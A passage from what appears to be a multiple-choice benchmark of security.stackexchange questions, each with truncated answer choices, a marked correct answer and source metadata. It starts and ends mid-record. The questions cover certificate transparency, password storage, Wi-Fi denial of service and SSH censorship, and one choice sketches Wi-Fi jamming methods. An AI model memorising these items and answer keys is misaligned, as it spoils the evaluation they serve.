sore point… Historically , computers were mainframes where a lot of distinct users launched sessions and process on the same physical machine. Unix-like systems (e.g. Linux), but also VMS and its relatives (and this family includes all Windows of the NT line, hence 2000, XP, Vista, 7, 8...), have been structured in order to support the mainframe model. Thus, the hardware provides privilege levels . A central piece of the operating system is the kernel which runs at the highest privilege level (yes, I know there are subtleties with regards to virtualization) and manages the privilege..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/127092/hardening-linux-desktop-machine-against-people-from-my-household"} {"id": "cybersecurity_52834", "domain": "cybersecurity", "question_title": "What exactly does it mean when Chrome reports 'no certificate transparency information was supplied by the server?'", "question_body": "When visiting Gmail in Chrome, if I click on the lock icon in the address bar and go to the connection tab, I receive a message 'no certificate transparency information was supplied by the server' (before Chrome 45, the message was displayed as 'the identity of this website has been verified by Google Internet Authority G2 but does not have public audit records'). What exactly does it mean that the certificate does not have public audit records? Are their certain threats a site using a certificate without public audit records has that a site using a certificate with public audit records does not?", "question_score": 159, "question_tags": ["certificates", "chrome"], "choices": {"A": "Chrome not only stores your password text, it will show it to you. Under settings -> advanced -> manage passwords you can find all your passwords for all your sites. Click show on any of them and it will appear in the clear. Hashed passwords work for the site authenticating you. They are not an option for password managers. Many will encrypt the data locally, but the key will also be stored locally unless you have a master password setup. Personally, I use the chrome password manager and I find it convenient. I also, however, have full disk encryption and...", "B": "Note : If you're here because your certificate isn't trusted by Chrome, this is not the reason. Chrome will still trust certificates without CT information. If your certificate isn't trusted, there is an additional factor that you may have missed. This has to do with the concept of Certificate Transparency . The Problem Browsers currently trust certificates if four conditions are met: (a) the certificate is signed by a trusted CA, (b) the current time is within the valid period of the certificate and signing certs (between the notBefore and notAfter times), (c) neither the certificate nor any signing certificate...", "C": "The reason password expiration policies exist, is to mitigate the problems that would occur if an attacker acquired the password hashes of your system and were to break them. These policies also help minimize some of the risk associated with losing older backups to an attacker. For example, if an attacker were to break in and acquire your shadow password file, they could then start brute forcing the passwords without further accessing the system. Once they know your password, they can access the system and install whatever back doors they want unless you happen to have changed your password in...", "D": "/** Dave's Home-brew Hash */ // user data $user = ''; $password = ''; // timestamp, \"random\" # $time = date('mdYHis'); // known to attackers - totally pointless // ^ also, as jdm pointed out in the comments, this changes daily. looks broken! // different hashes for different days? huh? or is this stored as a salt? $rand = mt_rand().'\\n'; // mt_rand is not secure as a random number generator // ^ it's even less secure if you only ask for a single 31-bit number. and why the \\n? // crypt is good if configured/salted correctly // ... except you've..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/52834/what-exactly-does-it-mean-when-chrome-reports-no-certificate-transparency-infor"} {"id": "cybersecurity_151300", "domain": "cybersecurity", "question_title": "What is the safest way to deal with loads of incoming PDF files, some of which could potentially be malicious?", "question_body": "As an investigative journalist I receive each day dozens of messages, many of which contain PDF documents. But I'm worried about some of the potentially malicious consequences of blindly opening them and getting my computer compromised. In the past, before I started working in investigative journalism, I was using virustotal.com to analyze all files (including PDFs) coming to my inbox, but that's not possible in this case as the files will be sent to them when they're meant to be confidential before release. And I heard that antivirus solutions are not 100% foolproof. What is the safest way to deal with loads of incoming PDF files, some of which could potentially be malicious?", "question_score": 159, "question_tags": ["malware", "virus", "antivirus", "antimalware", "pdf"], "choices": {"A": "Is this normal for a pentest? Absolutely not . Best case scenario: they are performing \"social engineering\" penetration testing and want to see if you can be pressured into fulfilling a very dangerous action. Middle-case scenario, they don't know how to do their job. Worst-case scenario they are only pretending to be an auditing company and fulfilling their request will result in an expensive breach. In the case of a code-audit the company will obviously need access to source code. However I would expect a company who provides such services to already understand the sensitivity of such a need and...", "B": "There are a few issues with HTTP Basic Auth: The password is sent over the wire in base64 encoding (which can be easily converted to plaintext). The password is sent repeatedly, for each request. (Larger attack window) The password is cached by the webbrowser, at a minimum for the length of the window / process. (Can be silently reused by any other request to the server, e.g. CSRF). The password may be stored permanently in the browser, if the user requests. (Same as previous point, in addition might be stolen by another user on a shared machine). Of those, using...", "C": "I think the safest option for you would be to use Qubes OS with its built in DisposableVM s functionality, and its “ Convert to Trusted PDF ” tool. What is Qubes OS? Qubes is an operating system where it's all based on virtual machines. You can think of it as if you had different isolated ‘computers’ inside yours. So that way you can compartmentalize your digital life into different domains, so that you can have a ‘computer’ where you only do work related stuff, another ‘computer’ that is offline and where you store your password database and your PGP...", "D": "This attack is supposed to be presented 10 days from now, but my guess is that they use compression . SSL/TLS optionally supports data compression. In the ClientHello message, the client states the list of compression algorithms that it knows of, and the server responds, in the ServerHello , with the compression algorithm that will be used. Compression algorithms are specified by one-byte identifiers, and TLS 1.2 (RFC 5246) defines only the null compression method (i.e. no compression at all). Other documents specify compression methods, in particular RFC 3749 which defines compression method 1, based on DEFLATE , the LZ77-derivative..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/151300/what-is-the-safest-way-to-deal-with-loads-of-incoming-pdf-files-some-of-which-c"} {"id": "cybersecurity_180561", "domain": "cybersecurity", "question_title": "Is "Have I Been Pwned's" Pwned Passwords List really that useful?", "question_body": "My understanding of Have I Been Pwned is that it checks your password to see if someone else in the world has used it. This really doesn't seem that useful to me. It seems equivalent to asking if anyone in the world has the same front door key as me. Statistically, I would assume yes, but without knowing where I live... who cares? So have I misunderstood what HIBP does or am I underestimating its value because I'm misunderstanding some principle of security? EDIT Turns out there was more to the site than I understand. I was referring specifically to the password feature .", "question_score": 159, "question_tags": ["passwords", "have-i-been-pwned"], "choices": {"A": "Let's hope and assume that Facebook stores only hashes of current password (and potentially previous passwords). Here is what they can do: user sets first password to \"first\" and fb stores hash(\"first\"). later on, users resets password and is asked to provide new password \"First2\" Facebook can generate bunch of passwords (similar to the new one): [\"First2\", \"fIrst2\", \"firSt2\", ... \"first2\", ... \"first\", ... ] and and then compare hash of each with the stored hash. This is the only solution that comes to my mind. Any other?", "B": "Disclaimer: I am the author, creator, owner and maintainer of Have I Been Pwned and the linked Pwned Passwords service. Let me clarify all the points raised here: The original purpose of HIBP was to enable people to discover where their email address had been exposed in data breaches. That remains the primary use case for the service today and there's almost 5B records in there to help people do that. I added Pwned Passwords in August last year after NIST released a bunch of advice about how to strengthen authentication models. Part of that advice included the following :...", "C": "I wasn't originally aiming for a self-answer, but after more reading I've come up with what I believe to be a comprehensive answer that also explains why some might still be interested in CSRF protection on REST endpoints. No cookies = No CSRF It really is that simple. Browsers send cookies along with all requests. CSRF attacks depend upon this behavior. If you do not use cookies, and don't rely on cookies for authentication, then there is absolutely no room for CSRF attacks, and no reason to put in CSRF protection. If you have cookies, especially if you use them...", "D": "Lots of examples. A high-profile and recent example is when Kanye was caught on camera entering his \"00000\" password to unlock his device. Shoulder-surfing is one reason why applications do not display the password text on the screen, but show ****** instead. And this is one reason why multi-factor authentication is so important; even if you know the password, you cannot use it without another factor. I have even seen viable research into capturing the sound of the keyboard when a user types the password, even over the computer's microphone . So, yes, you describe a viable risk that the..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/180561/is-have-i-been-pwneds-pwned-passwords-list-really-that-useful"} {"id": "cybersecurity_183658", "domain": "cybersecurity", "question_title": "4-dial combination padlock: Is it more secure to zero it out or to blindly spin the dials after locking?", "question_body": "I am partially responsible for some resources protected by a 4-dial combination lock like this one : There are two things that people will usually do after they've locked it: reset all the digits to 0, so that the combination reads 0000, or mash around on the dials a bit so that the combination reads something else. I have a strong feeling that there is no functional difference between the two, but I am encouraged to set a best practice. So, assuming that the lock has a random combination and is practically unbreakable without entering the correct combination, which approach is more secure?", "question_score": 156, "question_tags": ["physical", "locks", "padlocks"], "choices": {"A": "TL;DR - You can store the salt in plaintext without any form of obfuscation or encryption, but don't just give it out to anyone who wants it. The reason we use salts is to stop precomputation attacks, such as rainbow tables . These attacks involve creating a database of hashes and their plaintexts, so that hashes can be searched for and immediately reversed into plaintext. For example*: 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 a e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 b 84a516841ba77a5b4648de2cd0dfcb30ea46dbb4 c ... 948291f2d6da8e32b007d5270a0a5d094a455a02 ZZZZZX 151bfc7ba4995bfa22c723ebe7921b6ddc6961bc ZZZZZY 18f30f1ba4c62e2b460e693306b39a0de27d747c ZZZZZZ Most tables also include a list of common passwords: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password e38ad214943daad1d64c102faec29de4afe9da3d password1 b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 letmein 5cec175b165e3d5e62c9e13ce848ef6feac81bff qwerty123 *I'm using SHA-1...", "B": "In theory zeroing or any predetermined sequence is more secure as you could, in theory make a guess at how far someone might move the dials. It is also conceivable that if you were able to check the state of the dials when locked on enough different occasions then you could narrow down the likely combination if it is being reset in a similar manner each time. In practice this is probably a bit far fetched and anything with a combination lock probably has larger concerns eg the combination being known by too many people or the fact that any...", "C": "No, Docker containers are not more secure than a VM. Quoting Daniel Shapira : In 2017 alone, 434 linux kernel exploits were found , and as you have seen in this post, kernel exploits can be devastating for containerized environments. This is because containers share the same kernel as the host, thus trusting the built-in protection mechanisms alone isn’t sufficient. 1. Kernel exploits from a container If someone exploits a kernel bug inside a container, they exploited it on the host OS. If this exploit allows for code execution, it will be executed on the host OS, not inside the...", "D": "Bcrypt has the best kind of repute that can be achieved for a cryptographic algorithm: it has been around for quite some time, used quite widely, \"attracted attention\", and yet remains unbroken to date. Why bcrypt is somewhat better than PBKDF2 If you look at the situation in details, you can actually see some points where bcrypt is better than, say, PBKDF2 . Bcrypt is a password hashing function which aims at being slow. To be precise, we want the password hashing function to be as slow as possible for the attacker while not being intolerably slow for the honest..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/183658/4-dial-combination-padlock-is-it-more-secure-to-zero-it-out-or-to-blindly-spin"} {"id": "cybersecurity_202026", "domain": "cybersecurity", "question_title": "Does pressing a car remote many times offer denial of service attack for rolling codes?", "question_body": "My understanding of remote car key fobs, and similar security devices with rolling codes, is that the key device is a transmitter that, each time the button is pressed, sends the next secret in a known sequence that is unique to the key. It does not contain a receiver. Meanwhile, the receiver in the car tracks (for each key fob it recognises) what it expects the next secret to be, and only unlocks if it receives the correct code. There is a risk that a transmission maybe lost - e.g. the button pressed when out of range - so the receiver actually accepts any of the next few secrets in the sequence. I have heard of one system that allowed a window of up to 256, but I don't know if that number is correct and whether it is typical. If my understanding is correct, it is possible to render a key fob useless (i.e. perform a denial of service attack on the owner) by pressing the button at least 256 times while out of the range of the car. This obviously relies on access to the key fob, but not when the car is close - which is a time the user may be less vigilant. So, if a friend gets drunk in a pub, I can make sure they can't drive home by rapidly pressing their car remote 300 times while they are in the bathroom. It has always bothered me that such an attack is possible, and yet I have never heard of anyone performing it, which makes me doubt that I have understood this completely.", "question_score": 156, "question_tags": ["wireless", "locks", "vehicle"], "choices": {"A": "No, Docker containers are not more secure than a VM. Quoting Daniel Shapira : In 2017 alone, 434 linux kernel exploits were found , and as you have seen in this post, kernel exploits can be devastating for containerized environments. This is because containers share the same kernel as the host, thus trusting the built-in protection mechanisms alone isn’t sufficient. 1. Kernel exploits from a container If someone exploits a kernel bug inside a container, they exploited it on the host OS. If this exploit allows for code execution, it will be executed on the host OS, not inside the...", "B": "it is possible to render a key fob useless by pressing the button at least 256 times while out of the range of the car. Not useless, but desynchronized. Any car will allow you to re-synchronize, and one example of a typical procedure is: Turn the ignition key on and off eight times in less than 10 seconds. This tells the security system in the car to switch over to programming mode. Press a button on all of the transmitters you want the car to recognize. Most cars allow at least four transmitters. Switch the ignition off. yet I have...", "C": "You are touching a sore point… Historically , computers were mainframes where a lot of distinct users launched sessions and process on the same physical machine. Unix-like systems (e.g. Linux), but also VMS and its relatives (and this family includes all Windows of the NT line, hence 2000, XP, Vista, 7, 8...), have been structured in order to support the mainframe model. Thus, the hardware provides privilege levels . A central piece of the operating system is the kernel which runs at the highest privilege level (yes, I know there are subtleties with regards to virtualization) and manages the privilege...", "D": "The reason password expiration policies exist, is to mitigate the problems that would occur if an attacker acquired the password hashes of your system and were to break them. These policies also help minimize some of the risk associated with losing older backups to an attacker. For example, if an attacker were to break in and acquire your shadow password file, they could then start brute forcing the passwords without further accessing the system. Once they know your password, they can access the system and install whatever back doors they want unless you happen to have changed your password in..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/202026/does-pressing-a-car-remote-many-times-offer-denial-of-service-attack-for-rolling"} {"id": "cybersecurity_192244", "domain": "cybersecurity", "question_title": "If my password was able to be printed on a form sent home from my child's school, does it imply insecure password storage policies?", "question_body": "I have a user account for each of my children in our district website, which oversees registration, grades, identification, etc. I was recently sent home a form from both of my children's classrooms asking us to login to our accounts so we could sign a new school year form. Printed on this piece of paper was both the username and the password for our accounts. The security practice of sending home printed passwords is immediately discouraging, but my larger concern is how my password is stored in the district system (and ultimately, what would happen if that system were compromised). I want to contact the webmaster, but I want to make sure I'm correct in any assumptions I make prior to shooting off my email asking that action be taken to avoid this kind of thing. I saw a related question , and want to make sure I don't jump the gun on harassing them over their storage policies. -- Since it's been asked several times, this is a password that I set on the account, not an auto-generated password. Also, this is an account that parents control; it contains sensitive identifying information of your child. It's not intended as a student portal or anything like that. -- Update_1 : I got a call from the district webmaster today, wanting to discuss my email in more detail. I explained my concerns were two-fold: (a) the transmission of our password on a printed piece of paper, and (b) the ability to retrieve that password in the first place. I was informed that the system is a legacy system, and as such has no capability of allowing a \"forgot my password\" feature. While the policy, they agreed, is incorrect, the alternative is to have every parent who doesn't remember their password come into the school with an ID to retrieve their password. (I was also informed that since we're in a 60% poverty district, assuming all parents have an email address for password management isn't an option). While this is and incredible inconvenient, I explained the inconvenience of likewise having someone access my accounts because they had access to my password. I was also informed that the system is being replaced next year, which will come with more modern security features (though, I'm unsure of the storage policies on the future system). The lady was very polite, and offered to put me in contact with their director of IT to discuss my concerns around password storage policies, which I accepted. She also offered to BCC me on an email to our school principal, requesting that future communications be issued in a sealed format. Finally, I was slightly (and correctly) scolded for reusing my password in the first place.", "question_score": 155, "question_tags": ["passwords", "web-application"], "choices": {"A": "There are a few issues with HTTP Basic Auth: The password is sent over the wire in base64 encoding (which can be easily converted to plaintext). The password is sent repeatedly, for each request. (Larger attack window) The password is cached by the webbrowser, at a minimum for the length of the window / process. (Can be silently reused by any other request to the server, e.g. CSRF). The password may be stored permanently in the browser, if the user requests. (Same as previous point, in addition might be stolen by another user on a shared machine). Of those, using...", "B": "This is actually an interesting new field in infosec— reputation management . Employers, Law Enforcement and other government agencies, legal professionals, the press, criminals and others with an interest in your reputation will be observing all online activity associated with your real name. These \"interested parties\" (snoops) are usually terrible at separating professional and personal life, so you could be made to suffer for unpopular opinions, political or religious convictions, associates or group affiliations they consider \"unsavory\", and any behavior that can be interpreted in the most uncharitable light. (Teachers have been forced to resign for drinking wine responsibly while...", "C": "I interpret your question as: What's the motivation for someone to use an alien Facebook account to play poker and stock it with chips? It's not that strange if you think about it this way: As poker is a game where knowledge about the dealt cards gives you a significant edge in the game, you'd like to use sock puppets at a table to know more about the card distribution. Thus, using sock puppets that are valid, active - real - Facebook accounts are the only way to gather more information without being spotted easily by heuristics. Düsseldorf is where...", "D": "Yup! If they are able to retrieve the password from the database, then they are clearly not following password storage best-practices. OWASP provides a good guide for how to do it properly: https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet Here's some ammunition you could use in that letter: You want me (the legal guardian of my child) to sign a form. You are using the action of logging into a website and clicking a button as a form of legal signature. How do you know it was actually me that logged in and clicked the button? How many people had access to the sheet with the..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/192244/if-my-password-was-able-to-be-printed-on-a-form-sent-home-from-my-childs-school"} {"id": "cybersecurity_222839", "domain": "cybersecurity", "question_title": "Why is the OS obfuscation defense against "It's a Unix system!" not widely implemented?", "question_body": "The Jurassic Park scene referenced in the title is infamous for how ludicrous it sounds to those who are tech literate. But it also illustrates what seems to me to be a glaringly huge hole in web security, particularly IoT devices--as soon as attackers find out a server or camera or baby monitor is running linux, they instantly know volumes about how it works. They know that commands like sudo are big juicy targets and they know that shell access will bring with it gobs of useful tools like ls and cat . So why isn't OS obfuscation more of a thing? I'm not talking about just hiding the version in web headers. Similar to JavaScript minification or obfuscation, I'm talking about changing the names of binaries and filepaths in the OS itself. Wouldn't entire classes of attacks be practically useless if the OS had ha7TrUO and RRI6e29 commands instead of sudo and ls ? Imagine a hacker that somehow gained remote root access--what are they even going to do if they don't know any commands? Implementation would be fairly easy for compilers. Take the simplest case of \"rename this function and all calls to it.\" You could give an OS compiler and an application compiler the same randomized names and they'd be able to talk to each other. But even if the application has poor security and is vulnerable to bash injection, such attacks would be fruitless. Obviously this technique can't be used in all scenarios. Setting aside scenarios like servers maintained by human sysadmins, it seems to me that any device or server managed by automation is a prime candidate for this defense. I guess the question(s) needs to be a bit more concrete: Is OS obfuscation as described used widely and I just haven't encountered it? If not used widely, what are the practical or technical barriers to usage?", "question_score": 154, "question_tags": ["attack-prevention", "operating-systems"], "choices": {"A": "There are a few issues with HTTP Basic Auth: The password is sent over the wire in base64 encoding (which can be easily converted to plaintext). The password is sent repeatedly, for each request. (Larger attack window) The password is cached by the webbrowser, at a minimum for the length of the window / process. (Can be silently reused by any other request to the server, e.g. CSRF). The password may be stored permanently in the browser, if the user requests. (Same as previous point, in addition might be stolen by another user on a shared machine). Of those, using...", "B": "Before I tear your idea apart, let me say that it's a really interesting idea and it was super fun to think about. Please continue to think outside the box and ask interesting questions! Alright, let's do this! Let's take a step back and ask why that baby monitor is running Linux in the first place? What if there was no operating system and the application was written in bare microcontroller code (think arduino code)? Then there would be no sudo or ls or even a shell for the attacker to use, right? I'm not an expert here, but I...", "C": "No, Docker containers are not more secure than a VM. Quoting Daniel Shapira : In 2017 alone, 434 linux kernel exploits were found , and as you have seen in this post, kernel exploits can be devastating for containerized environments. This is because containers share the same kernel as the host, thus trusting the built-in protection mechanisms alone isn’t sufficient. 1. Kernel exploits from a container If someone exploits a kernel bug inside a container, they exploited it on the host OS. If this exploit allows for code execution, it will be executed on the host OS, not inside the...", "D": "Rainbow Tables are commonly confused with another, simpler technique that leverages a compute time-storage tradeoff in password recover: hash tables. Hash tables are constructed by hashing each word in a password dictionary. The password-hash pairs are stored in a table, sorted by hash value. To use a hash table, simple take the hash and perform a binary search in the table to find the original password, if it's present. Rainbow Tables are more complex. Constructing a rainbow table requires two things: a hashing function and a reduction function. The hashing function for a given set of Rainbow Tables must match..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/222839/why-is-the-os-obfuscation-defense-against-its-a-unix-system-not-widely-imple"} {"id": "cybersecurity_111260", "domain": "cybersecurity", "question_title": "Is the BBC’s advice on choosing a password sensible?", "question_body": "In this article on the BBC’s website they offer advice on how to develop a password. The steps are as follows. Step 1: Choose an artist (a recording artist I presume) Lets choose as an example case study the teen idol and all round bad boy Justin Bieber.* Step 2: Choose a song. (The catcher the better) Next, I need to choose a song from the Biebs vast repertoire of classics. My particular favourite of his, is his insightful look into the dark world of controlling relationships “Boyfriend”. Step 3: Choose some lyrics Now I need some lyrics from “Boyfriend”, I'll go with the slightly menacing chorus. “ If I was your boyfriend, I'd never let you go ” Step 4, 5 and 6: Passwordify the lyric Now we need to take the Biebs prose and turn into a password. We do this by taking the first letter of each word in the lyric “If I was your boyfriend, I'd never let you go, I'd never let you go” iiwybinlyg Make it case sensitive: iIwyBiNlYg Turn it into 'leet speak' by changing it up with symbols and numbers: 1Iwy&1NlY9 My question isn't about the mathematical strength of passwords which obviously will depend on the lyric that is chosen and how one goes about passwordifying it, it is more about the the predictability of the total amount of possible passwords that are likely to pop up using this method. As we are all aware, humans can be very predictable creatures, it wouldn't take a huge amount of effort to generate dictionaries based on certain demographics, music genres, or targeted attacks based on profiling individuals. My initial thoughts on this was that this would be terrible advice to give out in a business as it would lead to many users using the same formula to develop their passwords, which would only be exacerbated by making the passwords more predictable. On a national scale this could be sound advice, which leads me to my question: Is the BBC’s advice on how to choose a password sensible, given how predictable we humans are? If so, in what scenarios is this sensible advice? *Justin Bieber used for humorous reasons only.", "question_score": 153, "question_tags": ["passwords", "password-policy", "password-cracking"], "choices": {"A": "Yep, that's a big problem, especially if that was your old password (i.e. not a newly assigned one). Technically, the password might be stored under reversible encryption rather than plain text, but that's nearly as bad. The absolute minimum standard should be a salted hash - anything less and anybody with access to the auth database who wants to can use an online rainbow table to get back the plaintext passwords in moments - but single-iteration secure hash algorithm (SHA) functions are still easy to brute force with a GPU (they're designed to be fast; a high-end GPU can compute...", "B": "/** Dave's Home-brew Hash */ // user data $user = ''; $password = ''; // timestamp, \"random\" # $time = date('mdYHis'); // known to attackers - totally pointless // ^ also, as jdm pointed out in the comments, this changes daily. looks broken! // different hashes for different days? huh? or is this stored as a salt? $rand = mt_rand().'\\n'; // mt_rand is not secure as a random number generator // ^ it's even less secure if you only ask for a single 31-bit number. and why the \\n? // crypt is good if configured/salted correctly // ... except you've...", "C": "My question isn't about the mathematical strength of passwords which obviously will depend on the lyric that is chosen and how one goes about passwordifying it, it is more about the the predictability of the total amount of possible passwords that are likely to pop up using this method. This is a good question, and I'm going to depart from the norm here, put on my tinfoil hat, and say \"no, this is not a good idea.\" Why? Let's look at it in the context of the Snowden leaks. Because the GCHQ spies on all traffic on the British internet...", "D": "By any measure, they're wrong: Seven random printable ASCII: 95 7 = 69 833 729 609 375 possible passwords. Ten random alphabetics: 52 10 = 144 555 105 949 057 024 possible passwords, or over 2000 times as many. Length counts. If you're generating your passwords randomly, it counts for far more than any other method of making them hard to guess."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/111260/is-the-bbc-s-advice-on-choosing-a-password-sensible"} {"id": "cybersecurity_143599", "domain": "cybersecurity", "question_title": "Can someone take down Wi-Fi signal?", "question_body": "Is it possible that someone made an attack (DoS or something else) to my Wi-Fi router (without knowing of the password) and make my router's signal unavailable? 1) How it can be done? 2) What are remedies?", "question_score": 153, "question_tags": ["wifi", "denial-of-service"], "choices": {"A": "No, Docker containers are not more secure than a VM. Quoting Daniel Shapira : In 2017 alone, 434 linux kernel exploits were found , and as you have seen in this post, kernel exploits can be devastating for containerized environments. This is because containers share the same kernel as the host, thus trusting the built-in protection mechanisms alone isn’t sufficient. 1. Kernel exploits from a container If someone exploits a kernel bug inside a container, they exploited it on the host OS. If this exploit allows for code execution, it will be executed on the host OS, not inside the...", "B": "There's a lot of ways you can attack a WiFi without knowing any passwords: Physical layer attacks: Simply jam the frequency spectrum with your own signal. That signal might just be noise, but it might also be a WiFi of your own under heavy load, with the nodes in that WiFi being configured not to play nice with others. (depending on the WiFi chipset, that can be extremely easy) Spectrum can only be used once! Tool : noise source (e.g. Gunn Diode, SDR device ), or normal AP Electromagnetic sledgehammer: EMI gun. Take microwave oven oscillator, attach directive antenna, pray...", "C": "You are touching a sore point… Historically , computers were mainframes where a lot of distinct users launched sessions and process on the same physical machine. Unix-like systems (e.g. Linux), but also VMS and its relatives (and this family includes all Windows of the NT line, hence 2000, XP, Vista, 7, 8...), have been structured in order to support the mainframe model. Thus, the hardware provides privilege levels . A central piece of the operating system is the kernel which runs at the highest privilege level (yes, I know there are subtleties with regards to virtualization) and manages the privilege...", "D": "/** Dave's Home-brew Hash */ // user data $user = ''; $password = ''; // timestamp, \"random\" # $time = date('mdYHis'); // known to attackers - totally pointless // ^ also, as jdm pointed out in the comments, this changes daily. looks broken! // different hashes for different days? huh? or is this stored as a salt? $rand = mt_rand().'\\n'; // mt_rand is not secure as a random number generator // ^ it's even less secure if you only ask for a single 31-bit number. and why the \\n? // crypt is good if configured/salted correctly // ... except you've..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/143599/can-someone-take-down-wi-fi-signal"} {"id": "cybersecurity_9487", "domain": "cybersecurity", "question_title": "How can PayPal spoof emails so easily to say it comes from someone else?", "question_body": "When I receive a payment in PayPal, it sends me an email about it (pictured below). The problem is that the email is shown to be coming from the money sender's email address and not from PayPal itself, even though the real sender is PayPal. Here is the text that appears when I select \"show original\" in Gmail: From: \"contact@wxxxxxxxxx.com\" Sender: sendmail@paypal.com So you can see that the real sender is PayPal. If PayPal can spoof the email sender so easily, and Gmail does not recognize it, does it mean that anybody can spoof the email sender address and Gmail will not recognize it? When I send emails to Gmail myself using telnet, the email comes with the warning: This message may not have been sent by: xxxxx@xxxxx.com Is this a security issue? Because if I am used to the fact that payment emails in PayPal appear to come from the money sender's email and not from PayPal, then the sender can just spoof the payment himself by sending a message like that from his email, and I may think that this is the real payment. Is this something specific to PayPal, or can anybody fool Gmail like that? And if anybody can, what is the exact method that PayPal is using to fool Gmail?", "question_score": 152, "question_tags": ["email"], "choices": {"A": "IMPORTANT : this is based on data I got from your link, but the server might implement some protection. For example, once it has sent its \"silver bullet\" against a victim, it might answer with a faked \"silver bullet\" to the same request, so that anyone investigating is led astray. I have tried sending a fake parameter of cHVwcGFtZWxv to see whether it triggered any different behaviour, and it did not. Still, that's no great guarantee. UPDATE - the above still holds, but I've been making tests from random IPs not traceable to my main session - the attacking server...", "B": "Diffie-Hellman is a way of generating a shared secret between two people in such a way that the secret can't be seen by observing the communication. That's an important distinction: You're not sharing information during the key exchange, you're creating a key together. This is particularly useful because you can use this technique to create an encryption key with someone, and then start encrypting your traffic with that key. And even if the traffic is recorded and later analyzed, there's absolutely no way to figure out what the key was, even though the exchanges that created it may have been...", "C": "Disclaimer: I am the author, creator, owner and maintainer of Have I Been Pwned and the linked Pwned Passwords service. Let me clarify all the points raised here: The original purpose of HIBP was to enable people to discover where their email address had been exposed in data breaches. That remains the primary use case for the service today and there's almost 5B records in there to help people do that. I added Pwned Passwords in August last year after NIST released a bunch of advice about how to strengthen authentication models. Part of that advice included the following :...", "D": "Here is a dramatization of how the communication goes, when a mail is received anywhere. Context: an e-mail server, alone in a bay, somewhere in Moscow. The server just sits there idly, with an expression of expectancy. Server: Ah, long are the days of my servitude, That shall be spent in ever solitude, 'Ere comes hailing from the outer rings The swift bearer of external tidings. A connection is opened. Server: An incoming client ! Perchance a mail To my guardianship shall be entrusted That I may convey as the fairest steed And to the recipient bring the full tale...."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/9487/how-can-paypal-spoof-emails-so-easily-to-say-it-comes-from-someone-else"} {"id": "cybersecurity_10340", "domain": "cybersecurity", "question_title": "What alternatives are there when SSH is being actively filtered?", "question_body": "Unfortunately our government filters the SSH protocol so now we can't connect to our Linux server. They do the filtering by checking the header of each packet in the network layer (and not by just closing port). They also do away with VPN protocols. Is there any alternative way to securely connect to a Linux server?", "question_score": 152, "question_tags": ["ssh"], "choices": {"A": "Disclaimer: I am the author, creator, owner and maintainer of Have I Been Pwned and the linked Pwned Passwords service. Let me clarify all the points raised here: The original purpose of HIBP was to enable people to discover where their email address had been exposed in data breaches. That remains the primary use case for the service today and there's almost 5B records in there to help people do that. I added Pwned Passwords in August last year after NIST released a bunch of advice about how to strengthen authentication models. Part of that advice included the following :...", "B": "An IP address can be set up in DNS to resolve to any host name, by whoever is in control of that IP address. For example, if I am in control of the netblock 203.0.113.128/28, then I can set up 203.0.113.130 to reverse-resolve to presidential-desktop.oval-office.whitehouse.gov . I don't need control of whitehouse.gov to do this, though it can help in some situations (particularly, with any software that checks to make sure reverse and forward resolution matches ). That wouldn't mean that the president of the United States logged into your VPS. If someone has access to your system, they can...", "C": "There are a few issues with HTTP Basic Auth: The password is sent over the wire in base64 encoding (which can be easily converted to plaintext). The password is sent repeatedly, for each request. (Larger attack window) The password is cached by the webbrowser, at a minimum for the length of the window / process. (Can be silently reused by any other request to the server, e.g. CSRF). The password may be stored permanently in the browser, if the user requests. (Same as previous point, in addition might be stolen by another user on a shared machine). Of those, using...", "D": "From what I heard earlier today, https/ssl flows correctly through your borders. You should hence check out Corkscrew . Similarly to netcat , it's used to wrap ssh in https to allow the use of https proxies. Another solution would be to use LSH which, by having a different signature than ssh, works from Iran as Siavash noted it in his message ."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/10340/what-alternatives-are-there-when-ssh-is-being-actively-filtered"} {"id": "cybersecurity_117605", "domain": "cybersecurity", "question_title": "What to do if stuck with website that has poor security?", "question_body": "I have a student loan account with a company, not the biggest company but big enough to where they should have their act together. Today I couldn't remember my password to log into my account dashboard. I clicked \"forgot password\" and they prompted me with 5 questions. First Name, Last Name, last 4-digit SSN, birthday, and zip code. All information that is easily acquirable if trying hard enough, not to mention all information that is included in their periodic emails about payments. Upon typing in the information the site responds saying I have been authenticated and gives me my password in plaintext. So now not only is it incredibly easy to retrieve lost password details, they dont even send it to your email they just display it on screen, on top of that they store the password in plaintext in the database. This is an account that has details of my multi-thousand dollar loan as well as my bank details for auto-payments. Fortunately the one detail not given is my username, which is my full SSN, so that is the last thread of security; however, if they store passwords unhashed I'm sure my SSN is not 